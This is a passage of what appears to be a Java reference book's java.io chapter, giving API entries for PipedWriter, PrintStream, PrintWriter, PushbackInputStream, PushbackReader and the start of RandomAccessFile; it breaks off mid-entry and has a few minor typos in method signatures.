clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | mark(int) | Reader
markSupported() | Reader | notify() | Object
notifyAll() | Object | read() | Reader
read(char[]) | Reader | reset() | Reader
skip(long) | Reader | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

IOException, PipedInputStream, PipedWriter, Reader

Previous | Home | Next
PipedOutputStream | Book Index | PipedWriter
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] PipedWriter

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

PipedWriter

Name

PipedWriter

Synopsis

Class Name:

java.io.PipedWriter

Superclass:

java.io.Writer

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The PipedWriter class represents half of a communication pipe; a PipedReader must be connected to a PipedWriter. When the two halves of a communication pipe are connected, data written to the PipedWriter can be read from the PipedReader. The communication pipe formed by a PipedWriter and a PipedReader should be used to communicate between threads. If both ends of a pipe are used by the same thread, the thread can hang.

The PipedWriter class is the character-based equivalent of the byte-based PipedOutputStream.

Class Summary

public class java.io.PipedWriter extends java.io.Writer {
  // Constructors
  public PipedWriter();
  public PipedWriter(PipedReader sink);
  // Instance Methods
  public void close();
  public void connect(PipedReader sink);
  public void flush();
  public void write(char[] cbuf, int off, int len;
}

Constructors

PipedWriter

public PipedWriter()

Description

This constructor creates a PipedWriter that is not connected to a PipedReader. The created object must be connected to a PipedReader before it can be used.

public PipedWriter(PipedReader sink)

Parameters

sink

The PipedReader to connect.

Throws

IOException

If any kind of I/O error occurs.

Description

This constructor creates a PipedWriter that sends data to the given PipedReader.

Instance Methods

close

public void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

Writer.close()

Description

This method closes the writer and releases the system resources that are associated with it.

connect

public void connect(PipedReader sink) throws IOException

Parameters

sink

The PipedReader to connect.

Throws

IOException

If another PipedReader is already connected to this PipedWriter or this PipedWriter is already connected.

Description

This method connects this PipedWriter object to the given PipedReader. If this PipedWriter or sink is already connected, an exception is thrown.

flush

public void flush() throws IOException

Throws

IOException

If any kind of I/O error occurs.

InterruptedIOException

While this method is waiting for buffer space to become available, if the interrupted() method of the thread that invoked this method is called.

Overrides

Writer.flush()

Description

This method flushes the writer, which tells the connected PipedReader to notify its readers to read any available data.

write

 public void write(char[] cbuf, int off, int len) throws IOException

Parameters

cbuf

An array of characters to write to the stream.

off

An offset into the character array.

len

The number of characters to write.

Throws

IOException

If any kind of I/O error occurs.

Overrides

Writer.write(char[], int, int)

Description

This method writes len characters of output from the given array, starting at offset off. The method passes the given data to the connected PipedReader.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object | write(int) | Writer
write(char[]) | Writer | write(String) | Writer
write(String, int, int) | Writer |  |

See Also

IOException, PipedOutputStream, PipedReader, Writer

Previous | Home | Next
PipedReader | Book Index | PrintStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] PrintStream

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

PrintStream

Name

PrintStream

Synopsis

Class Name:

java.io.PrintStream

Superclass:

java.io.FilterOutputStream

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The PrintStream class provides support for writing string representations of primitive data types and objects to an underlying output stream. As of JDK 1.1, PrintStream uses the system's default encoding scheme to convert characters to bytes and uses the system's own specific line separator, rather than the newline character, for separating lines of text. Although this class is not officially deprecated, its constructors are, and you should use PrintWriter instead of PrintStream in new code.

Prior to JDK 1.1, PrintStream did not handle Unicode characters. Any PrintStream methods that wrote characters only wrote the low eight bits of each character. In addition, prior to JDK 1.1, PrintStream used the newline character to separate lines of text, regardless of the platform. These problems have been corrected as of JDK 1.1.

All of the methods of PrintStream that write multiple times to the underlying output stream handle synchronization internally, so that PrintStream objects are thread-safe.

A PrintStream object is often used to write to a BufferedOutputStream object. Note that you can specify that the PrintStream be flushed every time it writes the line separator or the newline character by using the constructor that takes a boolean argument.

PrintStream objects are often used to report errors. For this reason, the methods of this class do not throw exceptions. Instead, the methods catch any exceptions thrown by any downstream OutputStream objects and set an internal flag, so that the object can remember that a problem occurred. You can query the internal flag by calling the checkError() method.

Class Summary

public class java.io.PrintStream extends java.io.FilterOutputStream {
  // Constructors
  public PrintStream(OutputStream out);           // Deprecated in 1.1
  public PrintStream(OutputStream out,
                     boolean autoFlush);          // Deprecated in 1.1
  // Public Instance Methods
  public boolean checkError();
  public void close();
  public void flush();
  public void print(boolean b);
  public void print(char c);
  public void print(char[] s);
  public void print(double d);
  public void print(float f);
  public void print(int i);
  public void print(long l);
  public void print(String s);
  public void print(Object obj);
  public void println();
  public void println(boolean b);
  public void println(char c);
  public void println(char[] s);
  public void println(double d);
  public void println(float f);
  public void println(int i);
  public void println(long l);
  public void println(Object obj);
  public void println(String s);
  public void write(int b);
  public void write(byte[] buf, int off, int len);
  // Protected Instance Methods
  protected void setError();                      // New in 1.1
}

Constructors

PrintStream

public PrintStream(OutputStream out)

Availability

Deprecated as of JDK 1.1

Parameters

out

The output stream to use.

Description

This constructor creates a PrintStream object that sends output to the given OutputStream.

public PrintStream(OutputStream out, boolean autoflush)

Availability

Deprecated as of JDK 1.1

Parameters

out

The output stream to use.

autoflush

A boolean value that indicates whether or not the print stream is flushed every time a newline is output.

Description

This constructor creates a PrintStream object that sends output to the given OutputStream. If autoflush is true, every time the PrintStream object writes a newline character or line separator, it calls its flush() method. Note that this is different than with a PrintWriter object, which only calls its flush() method when a println() method is called.

Public Instance Methods

checkError

public boolean checkError()

Returns

true if any error has occurred; false otherwise.

Description

This method flushes any buffered output and returns true if any error has occurred. Once the error flag for a PrintStream object has been set, it is never cleared.

close

public void close()

Overrides

FilterOutputStream.close()

Description

This method closes this print stream and releases any resources associated with the object. The method does this by calling the close() method of the underlying output stream and catching any exceptions that are thrown.

flush

public void flush()

Overrides

FilterOutputStream.flush()

Description

This method flushes this print stream, forcing any bytes that may be buffered to be written to the underlying output stream. The method does this by calling the flush() method of the underlying output stream and catching any exceptions that are thrown.

print

public void print(boolean b)

Parameters

b

The boolean value to print.

Description

This method writes "true" to the underlying output stream if b is true; otherwise it writes "false".

public void print(char c)

Parameters

c

The char value to print.

Description

This method writes the given character to the underlying output stream.

public void print(char[] s)

Parameters

s

The char array to print.

Description

This method writes the characters in the given array to the underlying output stream.

public void print(double d)

Parameters

d

The double value to print.

Description

This method writes a string representation of the given double value to the underlying output stream. The string representation is identical to the one returned by calling Double.toString(d).

public void print(float f)

Parameters

f

The float value to print.

Description

This method writes a string representation of the given float value to the underlying output stream. The string representation is identical to the one returned by calling Float.toString(f).

public void print(int i)

Parameters

i

The int value to print.

Description

This method writes a string representation of the given int value to the underlying output stream. The string representation is identical to the one returned by calling Integer.toString(i).

public void print(long l)

Parameters

l

The long value to print.

Description

This method writes a string representation of the given long value to the underlying output stream. The string representation is identical to the one returned by calling Long.toString(l).

public void print(Object obj)

Parameters

obj

The Object to print.

Description

This method writes the string representation of the given Object to the underlying output stream. The string representation is that returned by calling the toString() method of Object.

public void print(String s)

Parameters

s

The String to print.

Description

This method writes the given String to the underlying output stream. If String is null, the method writes "null".

println

public void println()

Description

This method writes a line separator to the underlying output stream.

public void println(boolean b)

Parameters

b

The boolean value to print.

Description

This method writes "true" to the underlying output stream if b is true, otherwise it writes "false". In either case, the string is followed by a line separator.

public void println(char c)

Parameters

c

The char value to print.

Description

This method writes the given character, followed by a line separator, to the underlying output stream.

public void println(char[] s)

Parameters

s

The char array to print.

Description

This method writes the characters in the given array, followed by a line separator, to the underlying output stream.

public void println(double d)

Parameters

d

The double value to print.

Description

This method writes a string representation of the given double value, followed by a line separator, to the underlying output stream. The string representation is identical to the one returned by calling Double.toString(d).

public void println(float f)

Parameters

f

The float value to print.

Description

This method writes a string representation of the given float value, followed by a line separator, to the underlying output stream. The string representation is identical to the one returned by calling Float.toString(f).

public void println(int i)

Parameters

i

The int value to print.

Description

This method writes a string representation of the given int value, followed by a line separator, to the underlying output stream. The string representation is identical to the one returned by calling Integer.toString(i).

public void println(long l)

Parameters

l

The long value to print.

Description

This method writes a string representation of the given long value, followed by a line separator, to the underlying output stream. The string representation is identical to the one returned by calling Long.toString(l).

public void println(Object obj)

Parameters

obj

The Object to print.

Description

This method writes the string representation of the given Object, followed by a line separator, to the underlying output stream. The string representation is that returned by calling the toString() method of Object.

public void println(String s)

Parameters

s

The String to print.

Description

This method writes the given String, followed by a line separator, to the underlying output stream. If String is null, the method writes "null" followed by a line separator.

write

public void write(int b)

Parameters

b

The value to write to the stream.

Overrides

FilterOutputStream.write(int)

Description

This method writes the lowest eight bits of b to the underlying stream as a byte. The method does this by calling the write() method of the underlying output stream and catching any exceptions that are thrown. If necessary, the method blocks until the byte is written.

public void write(byte b[], int off, int len)

Parameters

b

An array of bytes to write to the stream.

off

An offset into the byte array.

len

The number of bytes to write.

Overrides

FilterOutputStream.write(byte[], int, int)

Description

This method writes the lowest eight bits of each of len bytes from the given array, starting off elements from the beginning of the array, to the underlying output stream. The method does this by calling write(b, off, len) for the underlying output stream and catching any exceptions that are thrown. If necessary, the method blocks until the bytes are written.

Protected Instance Methods

setError

protected void setError()

Availability

New as of JDK 1.1

Description

This method sets the error state of the PrintStream object to true. Any subsequent calls to getError() return true.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object | write(byte[]) | FilterOutputStream

See Also

Double, FilterOutputStream, Float, Integer, Long, OutputStream

Previous | Home | Next
PipedWriter | Book Index | PrintWriter
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] PrintWriter

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

PrintWriter

Name

PrintWriter

Synopsis

Class Name:

java.io.PrintWriter

Superclass:

java.io.Writer

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The PrintWriter class provides support for writing string representations of primitive data types and objects to an underlying output stream. PrintWriter uses the system's default encoding scheme to convert characters to bytes. PrintWriter also uses the system's own specific line separator, rather than the newline character, for separating lines of text. This line separator is equivalent to the value returned by:

System.getProperty("line.separator")

A PrintWriter object can be created using a Writer object or an OutputStream object as its underlying stream. When a PrintWriter is created using an OutputStream, the constructor creates the intermediate OutputStreamWriter that handles the conversion of characters to bytes using the default character encoding.

All of the methods of PrintWriter that write multiple times to the underlying output stream handle synchronization internally, so that PrintWriter objects are thread-safe.

A PrintWriter object is often used to write to a BufferedWriter object. Note that you can specify that the PrintWriter should be flushed every time a println() method is called by using a constructor that takes a boolean argument.

PrintWriter objects are often used to report errors. For this reason, the methods of this class do not throw exceptions. Instead, the methods catch any exceptions thrown by any downstream OutputStream or Writer objects and set an internal flag, so that the object can remember that a problem occurred. You can query the internal flag by calling the checkError() method.

Class Summary

public class java.io.PrintWriter extends java.io.Writer {
  // Constructors
  public PrintWriter(OutputStream out);
  public PrintWriter(OutputStream out, boolean autoFlush);
  public PrintWriter(Writer out);
  public PrintWriter(Writer out, boolean autoFlush);
  // Public Instance Methods
  public boolean checkError();
  public void close();
  public void flush();
  public void print(boolean b);
  public void print(char c);
  public void print(char[] s);
  public void print(double d);
  public void print(float f);
  public void print(int i);
  public void print(long l);
  public void print(Object obj);
  public void print(String s);
  public void println();
  public void println(boolean b);
  public void println(char c);
  public void println(char[] s);
  public void println(double d);
  public void println(float f);
  public void println(int i);
  public void println(long l);
  public void println(Object obj);
  public void println(String s);
  public void write(int c);
  public void write(char[] buf);
  public void write(char[] buf, int off, int len);
  public void write(String s);
  public void write(String s, int off, int len);

  // Protected Instance Methods
  protected void setError();
}

Constructors

PrintWriter

public PrintWriter(OutputStream out)

Parameters

out

The output stream to use.

Description

This constructor creates a PrintWriter object that sends output to the given OutputStream. The constructor creates the intermediate OutputStreamWriter that converts characters to bytes using the default character encoding.

public PrintWriter(OutputStream out, boolean autoFlush)

Parameters

out

The output stream to use.

autoFlush

A boolean value that indicates whether or not the print stream is flushed every time a println() method is called.

Description

This constructor creates a PrintWriter object that sends output to the given OutputStream. The constructor creates the intermediate OutputStreamWriter that converts characters to bytes using the default character encoding. If autoFlush is true, every time a println() method is called, the PrintWriter object calls its flush() method. This behavior is different from that of a PrintStream object, which calls its flush() method each time a line separator or newline character is written.

public PrintWriter(Writer out)

Parameters

out

The output stream to use.

Description

This constructor creates a PrintWriter object that sends output to the given Writer.

public PrintStream(Writer out, boolean autoFlush)

Parameters

out

The output stream to use.

autoFlush

A boolean value that indicates whether or not the print stream is flushed every time a println() method is called.

Description

This constructor creates a PrintWriter object that sends output to the given Writer. If autoFlush is true, every time a println() method is called, the PrintWriter object calls its flush() method. Note that this behavior is different from that of a PrintStream object, which calls its flush() method every time a newline character or line separator is written.

Public Instance Methods

checkError

public boolean checkError()

Returns

true if any error has occurred; false otherwise.

Description

This method flushes any buffered output and returns true if an error occurs. Once the error flag for a PrintWriter object is set, it's never cleared.

close

public void close()

Overrides

Writer.close()

Description

This method closes this print stream and releases any resources associated with the object. The method does this by calling the close() method of the underlying output stream and catching any exceptions that are thrown.

flush

public void flush()

Overrides

Writer.flush()

Description

This method flushes this print stream, forcing any bytes that may be buffered to be written to the underlying output stream. The method does this by calling the flush() method of the underlying output stream and catching any exceptions that are thrown.

print

public void print(boolean b)

Parameters

b

The boolean value to print.

Description

This method writes "true" to the underlying output stream if b is true; otherwise it writes "false".

public void print(char c)

Parameters

c

The char value to print.

Description

This method writes the given character to the underlying output stream.

public void print(char[] s)

Parameters

s

The char array to print.

Description

This method writes the characters in the given array to the underlying output stream.

public void print(double d)

Parameters

d

The double value to print.

Description

This method writes a string representation of the given double value to the underlying output stream. The string representation is identical to the one returned by calling Double.toString(d).

public void print(float f)

Parameters

f

The float value to print.

Description

This method writes a string representation of the given float value to the underlying output stream. The string representation is identical to the one returned by calling Float.toString(f).

public void print(int i)

Parameters

i

The int value to print.

Description

This method writes a string representation of the given int value to the underlying output stream. The string representation is identical to the one returned by calling Integer.toString(i).

public void print(long l)

Parameters

l

The long value to print.

Description

This method writes a string representation of the given long value to the underlying output stream. The string representation is identical to the one returned by calling Long.toString(l).

public void print(Object obj)

Parameters

obj

The Object to print.

Description

This method writes the string representation of the given Object to the underlying output stream. The string representation is that returned by calling the toString() method of Object.

public void print(String s)

Parameters

s

The String to print.

Description

This method writes the given String to the underlying output stream. If String is null, the method writes "null".

println

public void println()

Description

This method writes a line separator to the underlying output stream.

public void println(boolean b)

Parameters

b

The boolean value to print.

Description

This method writes "true" to the underlying output stream if b is true, otherwise it writes "false". In either case, the string is followed by a line separator.

public void println(char c)

Parameters

c

The char value to print.

Description

This method writes the given character, followed by a line separator, to the underlying output stream.

public void println(char[] s)

Parameters

s

The char array to print.

Description

This method writes the characters in the given array, followed by a line separator, to the underlying output stream.

public void println(double d)

Parameters

d

The double value to print.

Description

This method writes a string representation of the given double value, followed by a line separator, to the underlying output stream. The string representation is identical to the one returned by calling Double.toString(d).

public void println(float f)

Parameters

f

The float value to print.

Description

This method writes a string representation of the given float value, followed by a line separator, to the underlying output stream. The string representation is identical to the one returned by calling Float.toString(f).

public void println(int i)

Parameters

i

The int value to print.

Description

This method writes a string representation of the given int value, followed by a line separator, to the underlying output stream. The string representation is identical to the one returned by calling Integer.toString(i).

public void println(long l)

Parameters

l

The long value to print.

Description

This method writes a string representation of the given long value, followed by a line separator, to the underlying output stream. The string representation is identical to the one returned by calling Long.toString(l).

public void println(Object obj)

Parameters

obj

The Object to print.

Description

This method writes the string representation of the given Object, followed by a line separator, to the underlying output stream. The string representation is that returned by calling the toString() method of Object.

public void println(String s)

Parameters

s

The String to print.

Description

This method writes the given String, followed by a line separator, to the underlying output stream. If String is null, the method writes "null" followed by a line separator.

write

public void write(int c)

Parameters

c

The value to write to the stream.

Overrides

Writer.write(int)

Description

This method writes the character specified by the lowest two bytes of the given integer c to the underlying stream. The method does this by calling the write() method of the underlying output stream and catching any exceptions that are thrown. If necessary, the method blocks until the character is written.

public void write(char[] buf)

Parameters

buf

An array of characters to write to the stream.

Overrides

Writer.write(char[])

Description

This method writes the given array of characters to the underlying output stream. The method does this by calling write(buf, 0, buf.length) for the underlying output stream and catching any exceptions that are thrown. If necessary, the method blocks until the characters are written.

public void write(char[] buf, int off, int len)

Parameters

buf

An array of characters to write to the stream.

off

An offset into the array.

len

The number of characters to write.

Overrides

Writer.write(char[], int, int)

Description

This method writes len characters from the given array, starting off elements from the beginning of the array, to the underlying output stream. The method does this by calling write(buf, off, len) for the underlying output stream and catching any exceptions that are thrown. If necessary, the method blocks until the characters are written.

public void write(String s)

Parameters

s

A String to write to the stream.

Overrides

Writer.write(String)

Description

This method writes the given String to the underlying output stream. The method does this by calling write(s, 0, s.length) for the underlying output stream and catching any exceptions that are thrown. If necessary, the method blocks until the String is written.

public void write(String s, int off, int len)

Parameters

s

A String to write to the stream.

off

An offset into the string.

len

The number of characters to write.

Overrides

Writer.write(String, int, int)

Description

This method writes len characters from the given String, starting off elements from the beginning of the string, to the underlying output stream. The method does this by calling write(s, off, len) for the underlying output stream and catching any exceptions that are thrown. If necessary, the method blocks until the characters of the String are written.

Protected Instance Methods

setError

protected void setError()

Description

This method sets the error state of the PrintWriter object to true. Any subsequent calls to getError() will return true.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Double, Float, Integer, Long, OutputStream, OutputStreamWriter, Writer

Previous | Home | Next
PrintStream | Book Index | PushbackInputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] PushbackInputStream

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

PushbackInputStream

Name

PushbackInputStream

Synopsis

Class Name:

java.io.PushbackInputStream

Superclass:

java.io.FilterInputStream

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The PushbackInputStream class represents a byte stream that allows data to be pushed back into the stream. In other words, after data has been read from a PushbackInputStream, it can be pushed back into the stream so that it can be reread. This functionality is useful for implementing things like parsers that need to read data and then return it to the input stream.

The PushbackInputStream has been enhanced as of JDK 1.1 to support a pushback buffer that is larger than one byte. Prior to JDK 1.1, the class supported only a one-byte buffer using the protected variable pushBack. As of 1.1, that variable has been replaced by the buf and pos variables.

Class Summary

public class java.io.PushbackInputStream extends java.io.FilterInputStream {
  // Variables
  protected byte[] buf;                           // New in 1.1
  protected int pos;                              // New in 1.1
  // Constructors
  public PushbackInputStream(InputStream in);
  public PushbackInputStream(InputStream in,
                             int size);           // New in 1.1
  // Instance Methods
  public int available();
  public boolean markSupported();
  public int read();
  public int read(byte[] b, int off, int len);
  public void unread(int b);
  public void unread(byte[] b);                   // New in 1.1
  public void unread(byte[] b, int off, int len); // New in 1.1
}

Variables

buf

protected byte[] buf

Availability

New as of JDK 1.1

Description

The buffer that holds data that has been pushed back.

pos

protected int pos

Availability

New as of JDK 1.1

Description

The position of pushed-back data in the buffer. When there is no pushed-back data, pos is buf.length. As data is pushed back, pos decreases. As pushed-back data is read, pos increases. When the pushback buffer is full, pos is 0.

Constructors

PushbackInputStream

public PushbackInputStream(InputStream in)

Parameters

in

The input stream to wrap.

Description

This constructor creates a PushbackInputStream that reads from the given InputStream, using a pushback buffer with the default size of one byte.

public PushBackInputStream(InputStream in, int size)

Availability

New as of JDK 1.1

Parameters

in

The input stream to wrap.

size

The size of the pushback buffer.

Description

This constructor creates a PushbackInputStream that reads from the given InputStream, using a pushback buffer of the given size.

Instance Methods

available

public int available() throws IOException

Returns

The number of bytes that can be read without blocking.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.available()

Description

This method returns the number of bytes that can be read without having to wait for more data to become available. This is b + u, where b is the number of bytes in the pushback buffer and u is the number of available bytes in the underlying stream.

markSupported

public boolean markSupported()

Returns

The boolean value false.

Overrides

FilterInputStream.markSupported()

Description

This method returns false to indicate that this class does not support mark() and reset().

read

public int read() throws IOException

Returns

The next byte of data, or -1 if the end of the stream is encountered.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.read()

Description

This method reads a byte of data. If there is any data in the pushback buffer, the method returns the next byte in the pushback buffer. Otherwise, it calls the read() method of the underlying stream. The method blocks until the byte is read, the end of the stream is encountered, or an exception is thrown.

public int read(byte b[], int off, int len) throws IOException

Parameters

b

An array of bytes to be filled from the stream.

off

An offset into the byte array.

len

The number of bytes to read.

Returns

The actual number of bytes read, or -1 if the end of the stream is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.read(byte[], int, int)

Description

This method copies bytes from the stream into the given array b, starting at index off and continuing for len bytes. If the array can be populated solely from the pushback buffer, the method returns immediately. Otherwise, the read(byte[], int, int) method of the underlying stream is called to make up the difference. The method blocks until some data is available.

unread

public void unread(int b) throws IOException

Parameters

b

The value to push back.

Throws

IOException

If the pushback buffer is full.

Description

This method puts the given byte into the pushback buffer.

public void unread(byte[] b) throws IOException

Availability

New as of JDK 1.1

Parameters

b

An array of bytes to push back.

Throws

IOException

If the pushback buffer is full.

Description

This method puts all of the bytes in the given array into the pushback buffer.

public void unread(byte[] b, int off, int len) throws IOException

Availability

New as of JDK 1.1

Parameters

b

An array of bytes to push back.

off

An offset into the array.

len

The number of bytes to push back.

Throws

IOException

If the pushback buffer is full.

Description

This method puts len bytes from the given array, starting at offset off, into the pushback buffer.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | close() | FilterInputStream
equals(Object) | Object | finalize() | Object
getClass() | Object | hashCode() | Object
mark(int) | FilterInputStream | notify() | Object
notifyAll() | Object | read(byte[]) | FilterInputStream
reset() | FilterInputStream | skip(long) | FilterInputStream
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

FilterInputStream, InputStream, IOException

Previous | Home | Next
PrintWriter | Book Index | PushbackReader
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] PushbackReader

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

PushbackReader

Name

PushbackReader

Synopsis

Class Name:

java.io.PushbackReader

Superclass:

java.io.FilterReader

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The PushbackReader class represents a character stream that allows data to be pushed back into the stream. In other words, after data has been read from a PushbackReader, it can be pushed back into the stream so that it can be reread. This functionality is useful for implementing things like parsers that need to read data and then return it to the input stream. PushbackReader is the character-oriented equivalent of PushbackInputStream.

Class Summary

public class java.io.PushbackReader extends java.io.FilterReader {
  // Constructors
  public PushbackReader(Reader in);
  public PushbackReader(Reader in, int size);
  // Instance Methods
  public void close();
  public boolean markSupported();
  public int read();
  public int read(char[] cbuf, int off, int len);
  public boolean ready();
  public void unread(int c);
  public void unread(char[] cbuf);
  public void unread(char[] cbuf, int off, int len);
}

Constructors

PushbackReader

public PushbackReader(Reader in)

Parameters

in

The reader to wrap.

Description

This constructor creates a PushbackReader that reads from the given Reader, using a pushback buffer with the default size of one byte.

public PushbackReader(Reader in, int size)

Parameters

in

The reader to wrap.

size

The size of the pushback buffer.

Description

This constructor creates a PushbackReader that reads from the given Reader, using a pushback buffer of the given size.

Instance Methods

close

public void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterReader.close()

Description

This method closes the reader and releases the system resources that are associated with it.

markSupported

public boolean markSupported()

Returns

The boolean value false.

Overrides

FilterReader.markSupported()

Description

This method returns false to indicate that this class does not support mark() and reset().

read

public int read() throws IOException

Returns

The next character of data or -1 if the end of the stream is encountered.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterReader.read()

Description

This method reads a character of data. If there is any data in the pushback buffer, the method returns the next character in the pushback buffer. Otherwise, it calls the read() method of the underlying stream. The method blocks until the character is read, the end of the stream is encountered, or an exception is thrown.

public int read(char[] cbuf, int off, int len) throws IOException

Parameters

cbuf

An array of characters to be filled from the stream.

off

An offset into the array.

len

The number of characters to read.

Returns

The actual number of characters read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterReader.read(char[], int, int)

Description

This method copies characters from the stream into the given array cbuf, starting at index off and continuing for len characters. If the array can be populated solely from the pushback buffer, the method returns immediately. Otherwise, the read(char[], int, int) method of the underlying stream is called to make up the difference. The method blocks until some data is available.

ready

public boolean ready() throws IOException

Returns

A boolean value that indicates whether the stream is ready to be read.

Throws

IOException

If the stream is closed.

Overrides

FilterReader.ready()

Description

If there is data in the pushback buffer, or if the underlying stream is ready, this method returns true. The underlying stream is ready if the next read() is guaranteed not to block.

unread

public void unread(int c) throws IOException

Parameters

c

The value to push back.

Throws

IOException

If the pushback buffer is full.

Description

This method puts the given character into the pushback buffer.

public void unread(char[] cbuf) throws IOException

Parameters

cbuf

An array of characters to push back.

Throws

IOException

If the pushback buffer is full.

Description

This method puts all of the characters in the given array into the pushback buffer.

public void unread(char[] cbuf, int off, int len) throws IOException

Parameters

cbuf

An array of characters to push back.

off

An offset into the array.

len

The number of characters to push back.

Throws

IOException

If the pushback buffer is full.

Description

This method puts len characters from the given array, starting at offset off, into the pushback buffer.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | mark(int) | FilterReader
notify() | Object | notifyAll() | Object
read(char[]) | FilterReader | reset() | FilterReader
skip(long) | FilterReader | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

FilterReader, IOException, Reader

Previous | Home | Next
PushbackInputStream | Book Index | RandomAccessFile
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] RandomAccessFile

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

RandomAccessFile

Name

RandomAccessFile

Synopsis

Class Name:

java.io.RandomAccessFile

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.io.DataInput, java.io.DataOutput

Availability:

JDK 1.0 or later

Description

The RandomAccessFile class reads data from and writes data to a file. The file is specified using a File object or a String that represents a pathname. Both constructors take a mode parameter that specifies whether the file is being opened solely for reading, or for reading and writing. Each of the constructors can throw a SecurityException if the application does not have permission to access the specified file using the given mode.

Unlike FileInputStream and FileOutputStream, RandomAccessFile supports random access to the data in the file; the seek() method allows you to alter the current position of the file pointer to any location in the file. RandomAccessFile implements both the DataInput and DataOutput interfaces, so it supports reading and writing of all the primitive data types.

Class Summary

public class java.io.RandomAccessFile extends java.lang.Object
             implements java.io.DataInput, java.io.DataOutput {
  // Constructors
  public RandomAccessFile(File file, String mode);
  public RandomAccessFile(String name, String mode);
  // Instance Methods
  public native void close();
  public final FileDescriptor getFD();
  public native long getFilePointer();
  public native long length();
  public native int read();
  public int read(byte[] b);
  public int read(byte[] b, int off, int len);
  public final boolean readBoolean();
  public final byte readByte();
  public final char readChar();
  public final double readDouble();
  public final float readFloat();
  public final void readFully(byte[] b);
  public final void readFully(byte[] b, int off, int len);
  public final int readInt();
  public final String readLine();
  public final long readLong();
  public final short readShort();
  public final String readUTF();
  public final int readUnsignedByte();
  public final int readUnsignedShort();
  public native void seek(long pos);
  public int skipBytes(int n);
  public native void write(int b);
  public void write(byte[] b);
  public void write(byte[] b, int off, int len);
  public final void writeBoolean(boolean v);
  public final void writeByte(int v);
  public final void writeBytes(String s);
  public final void writeChar(int v);
  public final void writeChars(String s);
  public final void writeDouble(double v);
  public final void writeFloat(float v);
  public final void writeInt(int v);
  public final void writeLong(long v);
  public final void writeShort(int v);
  public final void writeUTF(String str);
}

Constructors

RandomAccessFile

public RandomAccessFile(File file, String mode) throws IOException

Parameters

file

The file to be accessed.

mode

The mode of access to the file: either "r" for read access or "rw" for read/write access.

Throws

IOException

If any kind of I/O error occurs.

IllegalArgumentException

If mode is not "r" or "rw".

SecurityException

If the application does not have permission to read the named file, or if mode is "rw" and the application does not have permission to write to the named file.

Description

This constructor creates a RandomAccessFile to access the specified File in the specified mode.

public RandomAccessFile(String name, String mode) throws IOException

Parameters

name

A String that contains the pathname of the file to be accessed. The path must conform to the requirements of the native operating system.

mode

The mode of access to the file: either "r" for read access or "rw" for read/write access.

Throws

IOException

If any kind of I/O error occurs.

IllegalArgumentException

If mode is not "r" or "rw".

SecurityException

If the application does not have permission to read the named file, or if mode is "rw" and the application does not have permission to write to the named file.

Description

This constructor creates a RandomAccessFile to access the file with the specified name in the specified mode.

Instance Methods

close

public native void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Description

This method closes the file and releases the system resources that are associated with it.

getFD

public final FileDescriptor getFD() throws IOException

Returns

The file descriptor for the file that supplies data for this object.

Throws

IOException

If there is no FileDescriptor associated with this object.

Description

This method returns the file descriptor associated with this RandomAccessFile.

getFilePointer

public native long getFilePointer() throws IOException

Returns

The current position in the file.

Throws

IOException

If any kind of I/O error occurs.

Description

This method returns the current position in the file. The position is the offset, in bytes, from the beginning of the file where the next read or write operation occurs.

length

public native long length() throws IOException

Returns

The length of the file.

Throws

IOException

If any kind of I/O error occurs.

Description

This method returns the length of the file in bytes.

read

public native int read() throws IOException

Returns

The next byte or -1 if the end of file is encountered.

Throws

IOException

If any kind of I/O error occurs.

Description

